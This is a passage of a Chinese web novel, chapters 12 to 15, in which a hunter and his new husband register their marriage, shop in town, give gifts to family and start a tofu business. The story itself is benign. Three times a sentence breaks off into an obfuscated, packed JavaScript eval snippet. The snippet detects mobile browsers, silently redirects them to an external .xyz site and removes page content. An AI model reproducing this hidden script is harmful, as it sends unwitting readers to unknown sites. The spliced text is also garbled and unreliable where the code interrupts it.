“袁兄弟!真是你,我远远瞧着就像,过来一瞧还真是你。”穿着捕快制服的矮壮男人喊了声,从后边二进院子跑出来,笑着问,“你来公所干啥?” “来登记婚契。”袁牧向赵景清介绍道,“这是公所的衙役,易大洪易大哥。” 袁牧又向易大洪介绍:“易大哥,这是我新婚夫郞,赵景清。” 赵景清喊人:“易大哥。” “诶!”易大洪应声,他记得袁牧结亲的好像不叫这个名,暗暗琢磨了会儿没想出来,许是他记错了,便不再深究,“那日中午吃完酒就回公所,今儿还是第一次见着新夫郞,大大方方的,你小子有福气。” 袁牧笑了笑,“易大哥,我有事请你帮个忙。” 易大洪问:“你直说。” 袁牧上前一步,压低了声音,“你帮我查一查梧桐里……” “行,我给你办妥。”易大洪拍胸脯承诺。 “多谢易大哥,下次请你吃酒。”袁牧道谢,提出要走,“今儿我还有事,不和你多说,先走了。” 易大洪:“好,你慢走,下次咱再喝酒。” 袁牧和赵景清离开公所,赵景清不时看向袁牧,眼睛亮晶晶的。 袁牧察觉到,“你看我做啥?” “你认识公所的人!”赵景清语气里是他自己都没发现的崇拜与好奇。 就为这个一直看他,袁牧失笑,“嗯,前年山里野猪跑下山糟蹋粮食,不少村子遭殃,公所人手少,找我们猎户去帮忙赶野猪,才和易大哥结实。他人很好,有事我不在,你就去公所找他,他家在东边泰安里,三的个巷子左手边第二家。” 赵景清问:“会不会太麻烦他了?” “没事,他帮你,我还人情帮他,咱们有来有回。”袁牧解释道。 赵景清颔首记在心里,又问:“我们现在去哪儿?” 袁牧道:“去东市找娘,快到午时了,咱们一起去吃饭。” 公所到东市不多远,两刻便到。 菜市散的差不多了,他们找到租的摊位,林翠娥蛋和菜都卖完了,蹲着收拾摊位扒拉下的菜叶子。 “娘。”赵景清喊了声,蹲下身一起收拾。 林翠娥抬头,不由愣了下,不知想到什么,面色不太好看,“不是回门吗,咋过来了?” 袁牧放下篮子一起收拾,捡重要的给林翠娥说。 林翠娥气得不行,“他赵家咋这样?!赵三咋回事,景清可是他亲生儿子!” “娘。”袁牧短促喊了声,这话不能当着景清的面说,景清是亲儿子,却比不得人后边带来的,不是往人伤口上撒盐吗。 林翠娥反应过来噤声,瞟了眼赵景清脸色,见他不似难过的样子才松了口气,转移话题道:“咱中午吃啥?” 袁牧想了想,“馄饨?景清,吃不吃馄饨?” 赵景清毫不犹豫,“吃!” 林翠娥笑着道:“好,那就吃馄饨。” 很快收拾完,袁牧去把烂菜叶子丢掉,回来挎上装皮子的包袱,赵景清提上菜篮子,林翠娥背上背篓,三人一起走出东市。 袁牧道:“前面条街李记面铺的馄饨好吃,咱去吃那家。” 赵景清没吃过,什么都听他的。 转过街角,站在李记面铺前,袁牧点单,“老板,三碗馄饨,一碗素面。” 他胃口大,一碗馄饨不够吃。 “好嘞,您入座。”老板应了声,打调料数馄饨丢锅里煮。 袁牧找了张空桌,三人坐下,不多会儿老板端来馄饨和面,“慢用。” 碗里冒着热气,馄饨皮薄馅大,煮熟了粉嫩嫩的,汤里撒了几粒葱花,躺着几片小白菜,瞧着便有食欲。 袁牧分筷子,“快吃吧,小心烫。” 赵景清点点头,夹起一个吹了吹才小心咬下,皮厚薄均匀,馅是纯肉馅,不知道加了什么调料,鲜香浓郁,好吃极了。汤汁热腾腾的,是骨头汤,回味悠长。 赵景清吃完馄饨,汤也喝完了,胃中温热,赵景清浑身洋溢着满足。 袁牧问:“吃饱没?不够再加。” “吃饱了。”赵景清回答,盯着袁牧埋头吃素面,一口一大夹,很快碗里面少一半,赵景清心道该他长那么壮。 林翠娥喝了半碗汤,擦擦嘴道:“下午我去买年货,你们把皮子卖了,也去买些。” 她把要袁牧买的清点一遍,“记住没?” 袁牧吃面的间隙嗯了声,赵景清道:“记住了。” 林翠娥这才接着说:“再去扯几尺布,景清,挑你喜欢的颜色买,再给你做身新衣裳。” 赵景清点头,心里暖呼呼的,“好。” 等袁牧吃完面,三人又坐了会儿,袁牧去结账离开,各行其是。 皮子卖给绣坊,袁牧常去他带路,赵景清跟在他后头,心里头盘算,肉混沌十二文一碗,素面五文一碗,他们吃一顿花费四十一文,老板抹了个零头,四十文。 肉算十五文一斤,能包八十个馄饨,一碗馄饨十五个,五碗卖六十文,赚四十五文。再加上大棒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779761|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨熬汤、炭火和小菜的成本平摊下来,能净赚四十文。 他们从去到走,赵景清听见点单共二十五碗馄饨,那就是两百文,这还只是馄饨,不算其他面食。 一天下来,净赚的都能有一两银子,小小的摊位可赚钱了。 也不知摊位费是多少。 袁牧拉住赵景清胳膊,“想啥呢,看路。” 赵景清回神,前头一个小水坑,他差点就踩下去了,他今儿才穿上的新鞋子!赵景清不敢再乱想,亦步亦趋跟上袁牧。 到了绣坊,老板娘出来看货,见是袁牧送来的,检查完皮子爽快的出价,“二两五钱,咋样?” 一张狐狸皮,三张灰兔皮,狐狸皮毛色鲜亮,但有杂色不太纯,价格上不去,二两银子算高价,灰兔皮就是搭头,算五钱银子。 和袁牧心里价格相差不大,袁牧道:“可以。” 老板娘取来银钱,“有皮子还往我这儿送。” 袁牧接过钱,“好。” 离开绣坊,袁牧和赵景清前往布坊,那一片有好几家布店,袁牧带着赵景清一家一家看过去,“你喜欢啥颜色,自个挑。” 赵景清挑花了眼,看来看去,最后在湖色和水绿之间纠结,下不定决心,两个颜色他都实在喜欢。 袁牧见状,对布店小二道:“两个颜色各扯十尺,鸦青和烟灰色各要一匹,还要一匹米色。” 赵景清转头看向身侧高大的身影,神情微怔。 “好嘞!”店小二笑呵呵应下,拿上尺子就要去裁布。 赵景清急忙阻止道:“我扯一个颜色的布就成。”要给他做两身新衣裳,他已经很满足了。 店小二驻足,一时不知听谁的。 “去裁吧,按我说的裁。”袁牧道,不让赵景清再拒绝,“喜欢都买了,水绿颜色嫩,做新衣裳开春穿。” 赵景清心里说不出是什么滋味,胀鼓鼓的,沉甸甸的。 见他愣着神,袁牧压低声音在他身边道:“你今儿瞧见了,我能赚钱,不用给我省着。” “……嗯。”赵景清点点头,袁牧真好。 袁牧暗暗呼出口气,他还真不擅长哄人。 店小二裁好布拿过来,给他们检查,又将他们要的三匹布拿出来,确认无误开始算钱,“湖色水绿一尺三十五文,共七百文。其余三匹一个价,六百五十文。总共二两六钱又五十文,布给你们包好了。” 袁牧掏了银子,“先寄放在你们这,我们迟些来取。” 店小二答应:“好,早些来,我们酉时关门。” 袁牧:“好。” 走出布店,赵景清心疼钱,又止不住高兴,步子变得雀跃。 两人又去买林翠娥叮嘱的东西,耗时半个时辰,终于给买齐了,两人手里皆是大包小包。 袁牧往布店走,赵景清没挪步子,“袁牧,我想买东西。” 景清少有的提出要求,袁牧驻足询问,“要买啥?” 去到杂货铺,赵景清直奔目标,选了头绳和牙刷子,袁牧要付钱,赵景清不让他给,取出荷包掏出八文钱,自个结账。 袁牧疑惑,“咋不让我给?” 赵景清收好荷包,“买给星儿和娘的,我想自己给。” 袁星念叨过,村长家哥儿有一根红头绳,没少在他们眼前炫耀。娘的牙刷子用太久,毛都劈叉了,她不舍得换新的。 他们待他好,他也想待他们好。 赵景清四处看了看,问袁牧道:“哪儿有卖烟丝的,我给爹买一点。” “花费这钱干啥,他抽烟要被娘骂,当心连带着你也挨骂。”袁牧嘀咕,浑然不觉自己这话酸溜溜的。 赵景清想了想,迟疑道:“可是给星儿和娘都买了,不能把爹落下,这叫……不能厚此薄彼。” 还会说成语,知道意思吗,他爹不是那个‘彼’,他才是! 袁牧带景清去买烟丝,看景清掏二十文买一两烟丝,心口堵得慌。 回布店途中,袁牧憋了又憋,眼看瞧见布店了,袁牧终于冒出句:“那我呢?” 13. 013 赵景清愣了下,“什么?” 袁牧声音沉闷,“你给他们都买东西了,那我呢?” “给你缝一张洗脸帕,有现成的布,裁好收边就能用,所以没想着买。”赵景清这才反应过来,他的打算自己知道,袁牧不知道,“我错了,你、你别生气。” 有他的就成,袁牧的郁气一扫而空,轻咳一声道:“那你快点给我缝好。” 赵景清连连点头答应,“好。” 到达布店,袁牧取了寄存的布,和赵景清去往寄存驴车的地方,索性买东西就在东市,不然大包小包的可累人。 不多会儿就到了,找到驴车,两人把所有东西放车板上,规整摆好,林翠娥还没来,袁牧和赵景清索性坐车板上等。 “李老头,给我看着点篓子,我隔会儿就来拿。” “好。” “卖豆腐的小哥儿!” …… 周遭吵吵嚷嚷,热热至极,赵景清好似听见有人在叫他,环顾四周找寻,见不远处有位大娘小跑过来。 “小哥儿,好些日子没见着你,你不在这片卖豆腐了?” 赵景清看她眼熟,是从前豆腐摊的老主顾,“没卖了,我成亲了。” 大娘瞅了瞅他身边高大壮实的男人,仍问道:“那后面你还做豆腐卖不?你做的豆腐最香,吃其他的都不是那个味儿。” 赵景清自己也不知道,“说不准,要还卖就在老位置。” 大娘点点头,“行。” 目送大娘离开,赵景清扣着手,在赵家起早贪黑做豆腐卖豆腐,成天累死累活,没有喘息的时间,他还要卖豆腐吗? 袁牧能赚钱,娘也能赚钱,他也想赚钱。 他只有一门做豆腐的手艺,只能靠做豆腐、卖豆腐赚钱。 袁牧微微侧身,景清垂着眼,眼睫不时颤动,手指快要扣成麻花。 “你两搞恁快!”林翠娥背着满满一背篓回来,手里还提着东西。 “娘。”赵景清忙起身去接,拿过她手里的东西。 袁牧卸下她背篓,“两个人是要快些,来瞅瞅有没有买漏。” 林翠娥一一清点,“没漏,都买齐了。” “景清记性好,他提醒着呢,自是不会漏。”袁牧笑着道。 林翠娥瞥他一眼,当娘的还不了解儿子,看出他心情好,“那是,指望不上你,还是景清好。” 赵景清好笑,母子两人斗嘴都要拿他做筏子。 袁牧解开套木桩上的缰绳,叮嘱林翠娥和赵景清上车板坐好,结清寄存看管费,牵着驴往外走。 看日头申时过半,天色亮堂,但寒冬腊月天黑得早,回村得天擦黑,袁牧琢磨着,得走快些。 离开东市,走了一会儿,街上行人渐少,袁牧驾上驴车,驴子哒哒跑起来,速度不快,但四条腿总比两条腿强。 出镇子路上,路边走着两人,袁牧眼睛好,远远就看清是赵景明和裴西安,袁牧眉心一紧,凌空猛甩鞭子,劈出破空响声,“驾!” 驴子哒哒哒跑得更快。 赵景明听见声音回头瞧,“西安,有驴车来了。” 他语气里透着喜悦,不用走路回去了,就算不同路,能搭半程也是好的,赵景明停下回头翘首以盼。 待驴车驶近,赵景明招手想让人停下,不料驾车的人是袁牧,面上神情一僵,手顿在半空。 驴车不停,快速从两人身旁驶过,车轮压过泥水坑,溅起泥点子,赵景明、裴西安躲避不及,被溅了半身。 “啊!”赵景明回神,赶忙拍裤子上溅到的泥水,“死跛鳖!脑子有坑!” 裴西安撩起长袍下摆,面色黑青,今儿真是受够罪丢够脸。 寻常骂人,不会骂腿脚健全的人跛鳖,赵景明张嘴就来,倒像是骂惯这个词,疑惑一闪而过,快到裴西安抓不住,他沉下脸呵斥,“闭嘴!” 赵景明骂骂咧咧的声音顿时停下,抬头愣愣望着裴西安。 裴西安压下满腹火气,如常道:“时辰不早了,咱们别再耽搁了,快些走罢。” 浑然看不出方才怒骂的人是他。 赵景明绷紧的心弦放松,“好。” 天色渐暗,驴车驶入乐明村,停进袁家院子里,厨房闪着微光。 林翠娥跳下车板,高声喊:“袁老二,星儿,来搬东西!” “娘!二哥!景清哥哥!”袁星欢欢喜喜从厨房跑出来,袁老二跟着出来,撸起袖子搬东西。 赵景清一手提菜篮子,一手提装佐料的油纸包,迈进厨房,几人一起搬,来回两次车板便清空。 袁牧牵驴车去还,林翠娥洗手做饭。 袁老二和袁星在家里蒸好米饭,菜也淘洗好了,就差炒菜。 林翠娥拿出菜篮子里的三线肉,切下半块,寻摸着做个回锅肉,撸起袖子开干。 赵景清做灶膛后烧火,袁星和他挤一条板凳上,“景清哥哥,镇里好不好玩?” 赵景清往灶膛里加柴,他在镇上长大,从来没像今日这般逛过,他道:“好玩。” 袁星瘪嘴,委屈巴巴的,“你们都不带上我。” 林翠娥一边切肉一边说:“带你干啥,今儿都有正事,顾不上你。” “那、那下次去得带上我,我都好久没去镇上了!”袁星要求,他手里攒了六个铜板,他要买东西。 林翠娥没给准话,“再说吧。” 袁星嘴巴撅得能挂油壶了,“不能再说,娘你每次这么说,都是不应许。” 林翠娥不理会他,袁星气成河豚。 赵景清视线在袁星和林翠娥之间来回,安慰道:“星儿别气,我给你带东西了。” 袁星仍是气鼓鼓的,双手环抱胸前,“什么呀?” “我去拿。”赵景清起身,不一会儿回来,手掌在袁星眼前摊开,“喜欢吗?” 袁星眼睛顿时亮了,兴奋不已,“头绳!” 是赤红的,他心心念念许久的头绳,袁星拿在手里爱不释手,“谢谢景清哥哥!” 袁星好一阵稀罕,抱住赵景清胳膊直蹭,“景清哥哥,我好喜欢你!” 头发蹭到脖颈脸颊,痒酥酥的,赵景清嘴角盈着笑意。 林翠娥看乐了,星儿不知道随了谁,有奶就是娘,但看两人亲热,景清惦记着星儿,林翠娥满心欣慰。 赵景清道:“娘,我给你也买了东西。” 林翠娥惊讶,“我也有?是啥啊?” 赵景清拿出方才一同取来的牙刷子,林翠娥怔了瞬,笑得见牙不见眼,“还是你心细。” 赵景清抿唇笑了笑,“我给您放好。” “诶!” 炒好菜,林翠娥端菜进堂屋,嘴里哼着调子,高兴得紧。 袁老二看她一眼再一眼,忍不住问:“啥事恁高兴?” “景清这孩子,给我和星儿买东西啦!”林翠娥说罢,小旋风似出了堂屋,回到厨房。 赵景清端碗筷进堂屋,便发觉爹不时看向他。赵景清放下碗筷走出去,不一会儿回来,手里拿着个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779762|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小小的油纸包,“爹,这是给您的。” 袁老二老烟枪鼻子灵,嗅到一股烟草香,眼角笑出褶子,“还有我的。” 袁老二拿出一根烟丝,放鼻子下闻了又闻,迫不及待卷了一杆烟,没有点燃,只放在鼻下嗅闻。 林翠娥端饭进来,见状忍不住道:“吃饭都忘不了你那点烟叶子,不吃饭吃烟就能饱。” 袁老二笑眯眯的,“我闻闻,景清给我买的好烟丝,我哪舍得抽。” 赵景清扣着手指,略不安地望向林翠娥,袁牧的话在耳边响起,当心连你一起骂。 林翠娥不再念叨,放下饭盆拉起赵景清的手,“好孩子,真好。” 他们待景清好,景清心里也有他们,林翠娥满心欣慰,哪舍得说他,林翠娥笑着道:“下次不给他买了。” 赵景清暗暗呼出一口气,“好。” 袁牧回来,站屋檐下看了会儿热闹,这才踏进屋来,“饭菜好了?吃饭吧。” 赵景清盛饭,林翠娥高声喊:“星儿,吃饭!” “来啦!”袁星应声,但隔好一会儿才跑过来,昏黄的烛火下,墨发间一抹红格外显眼。 “……”林翠娥没眼看,大晚上梳头发,妖精妖怪。 桌上,一盘回锅肉,一盘炒白菜,一碗水煮萝卜,热气腾腾。 回锅肉肥而不腻,咸香微辣,赵景清就了一碗饭,愈发觉得袁牧干得好,肉拿回来,他们能吃两次回锅肉。 吃罢收拾完,各自回屋。 赵景清先回,他躺在床上,回想今天发生的一切,轻松且愉悦,只是……赵景清心不由一沉,还卖不卖豆腐呢? 他思索着,袁牧何时回来躺下他都没发觉。 夜晚静谧,袁牧忽然开口问:“景清,你想做豆腐卖吗?” 话落,屋内恢复寂静,赵景清做不出回答。 袁牧又问:“抛去一切顾及不谈,你想继续卖豆腐吗?” 片刻沉默后,赵景清道:“想。” 袁牧道:“那就做豆腐卖,你教我,我和你一起。” 赵景清动容,他转向袁牧的方向,黑暗中隐约可见袁牧的轮廓,赵景清声音似叹息,“可又怎么能抛去顾及不谈?” 乐明村去到山阳镇,驾驴车需得小半个时辰,走路约摸得一个时辰,来回两个时辰,半天时间耗在路上。 出一锅豆腐,要经过选豆子、泡豆子、磨浆、过滤、煮、点卤水、压制成型几个步骤,不算最废时间的泡豆子,最快也得两个时辰。 豆腐经不住放,不能提前做,早上起来现做再赶去集上卖,午夜就得起来点灯燃油。菜市最晚午时散,散集赶回来,已是半下午。泡好豆子,吃个饭就该歇息了。 赵景清不怕辛苦,只要能赚钱,前路瞧得见光,再辛苦他都愿意。 可是时间占得满满当当,不能两边兼顾,袁家娶他当夫郎,家里的事他撒手不管,袁牧能乐意?爹娘能乐意? 赵景清把时间算给袁牧听,迟疑道:“我做豆腐卖,顾不上家里的事……” “景清。”袁牧轻轻唤道,打断景清担忧的话语,被子下的手动了动,摸到景清的,握在手中。 “景清,咱们是一家人,家里事有爹娘在,有我在,你不用操心。你能赚钱,家里多一份进项,爹娘只会高兴,哪会舍得怪你。” 赵景清轻轻嗯了声,袁牧握着他的手掌心温热,暖意向胸腔汇聚。 袁牧:“那明儿咱们去木匠那打模具。” 赵景清:“好。” 14. 014 一夜无梦,清早吃好早饭,去鸡圈捡鸡蛋铲鸡屎,赵景清想着要去做定做压豆腐的模具,浑身都是干劲。 鸡圈旁破篓子里的鸡粪已经清空,赵景清铲新的丢进去,盖了一层底。隔壁猪圈,袁老二在喂猪,猪吃得哼哧哼哧,外边都听得见动静。 日头初升,天气稍稍转暖,房顶积雪化开,顺着屋檐滴滴答答落下。屋檐下拴着两条大狗,或趴或坐,懒洋洋打个哈切,支开一口锋利獠牙。 赵景清知道大毛二毛不咬人,灵性听得懂人话,现在不敢靠太近,不敢上手摸,但不会特意远着走。 提着鸡蛋篮子,赵景清步子轻快,回到厨房。 鸡蛋昨儿卖了,背篓里空空如也,赵景清往最下边垫稻草,数着鸡蛋往里放,今儿有十六个。 “景清,”林翠娥从厨房外迈进来,“袁牧和我说,你们打算做豆腐卖。” 赵景清站起身,提着篮子的手紧握,暗暗观察林翠娥的脸色,他点点头,“昨晚商量来着。” “卖豆腐也好,你有手艺不能荒废了。”林翠娥道,昨儿卖鸡蛋卖菜,景清能说会道,是个活泛会做生意的,再者他卖几年豆腐了,经验十足,没什么可担心的,林翠娥放心。 “家里没石磨,要现去找师傅打,年前是用不上了,不过他大伯家有,咱先借他们的用。啥要买的你和袁牧说,你们商量着来。”林翠娥说着,低头看背篓里鸡蛋,“哟还多一个,昨天鸡下蛋攒劲。” 赵景清心里石头落地,露出笑模样,“好,我先做给娘吃。” 林翠娥笑着道:“那我要尝尝你手艺。” 靠菜园子的侧边屋檐下,是两口水缸,里面是浸泡在鞣液中的皮毛,袁牧正拿着根棍子翻动皮子,让它泡得更均匀。 赵景清走过去,好奇地看了好一会儿,不由问:“要泡多久才行?” 袁牧早发现他了,扭头看他一眼,手上动作不停,“现在天气冷,兔子皮要七八天,狐狸皮至少半个月。” 赵景清颔首,袁牧卖皮子赚钱多,可要上山打猎,山上危险重重,还不一定能打着猎物,回来又要剥皮打理鞣制,费时费力,想多赚点全看运气。 翻完皮子,棍子靠墙放,水缸上盖上盖子,袁牧绕去厨房后洗手,赵景清亦步亦趋跟着他。 袁牧眼中闪过笑意,“干啥?” 赵景清眼巴巴望着他,“我们什么时候去定豆腐框?” “这么着急?”袁牧问,赵景清不言语,只望着他。 袁牧笑道:“这就去,除了豆腐框还要准备什么,村里没有我们去镇上买。” 赵景清顿时开心了,掰着手指头道:“要买黄豆和胆水,还要准备过滤的帕子布,你昨儿买了米色的布,可以裁了自己缝。” “黄豆家里有二三十斤,”袁牧道,进厨房找到那袋豆子,“你先看看能不能用。” 赵景清抓了几把检查,豆子饱满豆香浓郁,“可以用。” 袁家的锅能做八斤豆子,先做两锅就成,多的豆子今儿还能做给爹娘尝一尝。 赵景清舀两斤黄豆泡上,冬日里泡的时间更长。为了今天能让爹娘尝到他手艺,赵景清特意舀热水泡,盆放灶台上借灶堂余温烘着,能快些将豆子泡发。 村里就有木匠,姓刘,都叫他刘老匠,他木工活做得又快又好,袁牧成亲准备的新床桌椅板凳都他打的。 袁牧和赵景清上门,他正在院里锯木头,锯子扯得刺刺刺,木屑飞扬,瞧见有人来了抬头看一眼,锯子却没停。 袁牧大声说:“刘老匠,我想定做豆腐框。” 木板锯断,刘老匠直起腰把锯子放一边,问:“要几个,啥尺寸的?” 赵景清道:“要十个,一尺半长宽,一掌厚度。” “三十文一个,”刘老匠拿木炭记下,又问:“啥时候要?” 赵景清想了想,“明天行不?” 年前集上人多,不用特意等赶集的日子去卖,模具尽快做好,就能尽快去镇上卖,多赚两天的钱。 “明天?!”刘老匠震惊,直摆手道,“有点赶,怕是不行,我手里还有其他活儿。” 袁牧道:“加急,你先做我们的,我们加钱。” 刘老匠盘算了会儿,“加五文一个,我晚上不睡都给你做出来。” 五文?袁牧不答应,“不行,加两文。” 刘老匠不同意,“四文,没得商量。” 袁牧:“就两文,你不做我到隔壁村去找木匠。” 刘老匠急道:“那三文总行了吧!” 袁牧道:“成,那三文。” 刘老匠:“……” 赵景清唇角微抿,藏着笑。 三十三文一个,十个三百三十文,袁牧爽快掏钱。 刘老匠道:“明儿天黑前给你赶出来,看着时间来取。” “好。” 离开木匠院子,赵景清和袁牧前往袁老大家,要借用他们的石磨,年前天天要用,得先给他们打声招呼。 袁老大坐屋檐下编背篓,袁牧踏进院子和他闲话两句,袁牧直奔主题,“大伯,我想借你家石磨用几天。” “你要用过来用,说这些。”袁老大瞅他一眼,他是小气人吗? 袁牧微笑,“我磨的豆子多,想搬回家用。年后我们定的打好了,给你送回来。” “……”袁老大愣了下,“石头墩墩恁重,搬来搬去你不嫌麻烦?” “不麻烦,”袁牧解释要做豆腐卖,“我一次磨十斤八斤的,时间又早,怕吵着你们睡觉。” “那成,我喊你兄弟帮你搬。”袁老大应下,高声喊人。 不多会儿,袁牧三个堂兄堂弟出来,借板车的借板车,拆石磨的拆石磨,折腾小半个时辰,将石磨从袁老大家搬来。 大冬天的,给四人折腾出一身热汗。 赵景清倒水给他们喝,寻思着先裁几张布出来,下午做豆腐好沥豆浆。昨儿买回来的布匹在林翠娥房里,赵景清去找她。 林翠娥在堂屋里打版裁剪衣裳布片,赵景清迈进堂屋,就见她手里布料是湖色,是在给他做衣裳。 赵景清心里胀鼓鼓的,“娘,我想裁几片米色的布。” “成,放布的箱子你知道,你自个去拿吧。”林翠娥剪刀咔嚓咔嚓裁布,抬眼又垂下。 “好。”赵景清去把布抱出来,做豆腐要用的布帕子尺寸他门清,三下五除二裁出十张小的,两张大的。小的铺在豆腐框里,大的沥豆浆,双层布的沥出的浆水更细腻,做得豆腐更嫩更好吃。 叠好放一旁,赵景清又裁出一张小的,给袁牧缝洗脸帕,他可等着呢。赵景清想起昨天袁牧说话的语气,后知后觉想笑,嘴角挂上笑意。 林翠娥瞧着可乐,这孩子裁布还给自己裁笑了。 收边简单,赵景清缝得快,午饭前,便把承诺袁牧的洗脸帕缝制出来。 午饭吃得简单,桌上是昨晚剩下的回锅肉炒包菜,还有一菜一汤一碟咸菜,沾了荤腥。 饭后,林翠娥坐屋檐下缝衣裳,赵景清坐她旁边给布帕子收边,明儿还有时间,今天缝出要用的就成。 半个时辰,布帕子缝好了,赵景清洗干净晾着,检查泡发的豆子,圆鼓鼓的是泡之前两倍多快三倍大小,豆子泡好了。 冲洗干净石磨,赵景清加豆子加水磨豆浆。 袁老二见状放下烟杆子,挤开赵景清,“我来磨。” 袁老二推磨,赵景清负责加豆子加水。 豆子磨一半,袁牧回来了,买胆水跑一趟镇上不划算,他去袁老大家匀了些过来,还拿了一块胆巴。 拿厨房放好,袁牧出来道:“爹,我来,你去耍。” 袁老二:“……” 袁牧接手推磨,询问道:“要磨成啥样,你教教我。” “手指撵开不粗糙,变细腻,要反复磨三次。第一次慢些,后面两次快。磨得细出浆多,同样的豆子能做更多豆腐。”赵景清道。 盆里豆子磨完,稍微冲洗石磨,赵景清将接在石磨下的盆端开,换上空的,舀豆渣加水继续磨。 反复两次,赵景清撵开磨好的豆渣示意袁牧看,雪白细腻,“这样就成。” 豆浆倒入锅中煮开,而后沥豆浆,家里没有豆腐架,没处挂沥豆浆的布帕子。 袁星看热闹被抓壮丁,和袁牧一人扯住布帕子两角,沥完后布帕子里全是豆渣。 赵景清又舀热水揉捏冲洗,待出水清亮后,将豆腐渣放盆里,洗干净布帕子,重新沥了遍,这次布帕子里豆渣极少。又沥了一次,帕子里几乎没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779763|174790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆渣了。 “豆浆烧开再沥,出豆花会多一些,一共沥三次,”赵景清摊开布帕子让袁牧看,“像这样就行,如果豆渣多再沥几次,浆里豆渣少,做出的豆腐口感更细腻。” 袁牧点点头,“我记住了。” 豆浆倒入锅里煮,袁星烧火,赵景清往锅里加水,“一斤豆子二十斤水,前面磨、洗的时候加了不少,现在加两瓢水就成。我们豆子磨得细出浆多,水稍微多两斤不碍事,再多会影响口感,不香。锅里煮要一直搅,不然会糊锅。” 随着豆浆煮开,咕咚咕咚冒泡,豆腥味散去,化作豆浆的醇厚。 “星儿,火小些,小火就行。”赵景清把手里的铲子递给袁牧,“煮开后小火再煮一会儿,你来搅。” 袁牧接手,赵景清去兑胆水,回来时还拿了个洗干净的水壶,“我舀些豆浆出来喝,剩下的点豆腐。” 袁星在灶膛后伸脖子,“景清哥哥,我要喝甜的。” 赵景清舀出一壶豆浆,“嗯,你喝的时候加糖。” “点浆要等豆浆凉些再点。”赵景清舀一瓢胆水缓缓沉入锅底,慢慢搅匀,“点浆要慢不能急,胆水少量多次,等一会儿再点上面。” 隔了会儿,赵景清铲子深入锅底,让袁牧轻轻动一下,“是不是感觉挡着的?” 袁牧点头,赵景清道:“下面已经凝成豆花了,不要搅,现在点中间的,这锅豆浆少,点三次就行。如果做满满一锅的豆浆,要点六七次。” 三次点浆完毕,不多时锅里全部凝成豆花。 豆腐框还没做好,赵景清拿来两个装菜的簸箕。其中一个簸箕垫上布帕子,舀出一半豆花压老豆腐,另一个簸箕压入锅中,舀出簸箕里面的水,反复几次,锅中豆花成型,是嫩豆腐。 做得豆子少,前前后后忙活了一个时辰,终于大功告成。 赵景清露出笑模样,眼睛弯弯的,“袁牧,你学会了吗?” “……应该会了。”袁牧不太确定,切身做一次豆腐,袁牧此时才明白景清在赵家做豆腐卖豆腐有多苦,这才两斤豆子。 “很简单,不难的。”赵景清将锅里豆腐切块,“别人说我豆腐做得香,味道更好吃,其实没有秘方,就是豆渣磨得更细腻,豆浆沥得更干净,没什么太特别的。” 袁牧觉得他不必谦虚,“一样的豆腐,你能比别人做得更好,每一处要注意的巧思,都是经年累月中一点点发现改良,比别人耗费更多的心力。别人做豆腐,只是徐规蹈距做豆腐,你却想着怎么做更好,很厉害。” 赵景清听到后面才发现袁牧是在夸他,还夸得那么好,他面上发热,别开视线不看袁牧,“哪、哪有那么厉害。” 拿两个海碗各舀出一碗豆腐,赵景清赶袁牧走,“给大伯三叔送去。” 袁牧失笑,又开始抓壮丁,“星儿,你去。” “景清哥哥,你看……”袁星别别扭扭站起来,想要告状,对上袁牧的目光,袁星改口道,“我去我去,二哥你得给我一文钱。” 袁牧:“行,送去回来给你。” 晚上吃得是豆花饭,赵景清准备了两个沾碟,红油辣椒和青剁椒,他沾碟打得好,极其下饭。 饭是甑子饭,米粒松软,粒粒分明,下嫩豆花更是好吃。 饭是袁牧蒸的,他特意多舀半桶米,没成想吃完了。 林翠娥赞不绝口,“景清手艺好,怪不得有人惦记着。比你大伯家做得香多了,我在镇上买的都没你的好吃。” 赵景清抿唇笑,“我做豆腐,娘以后想吃就吃,吃多少都有。” 林翠娥也忍不住笑,“成,我就天天吃。” 吃完收拾洗漱,赵景清先洗漱完回屋。 袁牧拧帕子,却不着急洗脸,展开洗脸帕看了又看,稀罕得不行。 林翠娥在旁边泡脚,看得直皱眉,“你不洗脸在那干啥呢,能看出花儿不成?” 袁牧洗脸摩擦的力道都小了些,“景清给我缝的。” 林翠娥:“……” 屋内,赵景清坐桌边擦手背,猪油在手背上抹开,油光莹润,赵景清抹着抹着露出笑来。 袁牧夸他,娘也夸他,还有老主顾惦记着他。 原来他那么厉害! 他做得豆腐那么好吃! 15. 015 袁牧推门而入,赵景清面颊上的笑意还未消散。 灯火如豆,光芒昏暗,却照得他双目熠熠生辉,袁牧站在门口,还没多看几眼,景清便发现他,面上笑意收敛,唇角微抿,垂下眼眸。 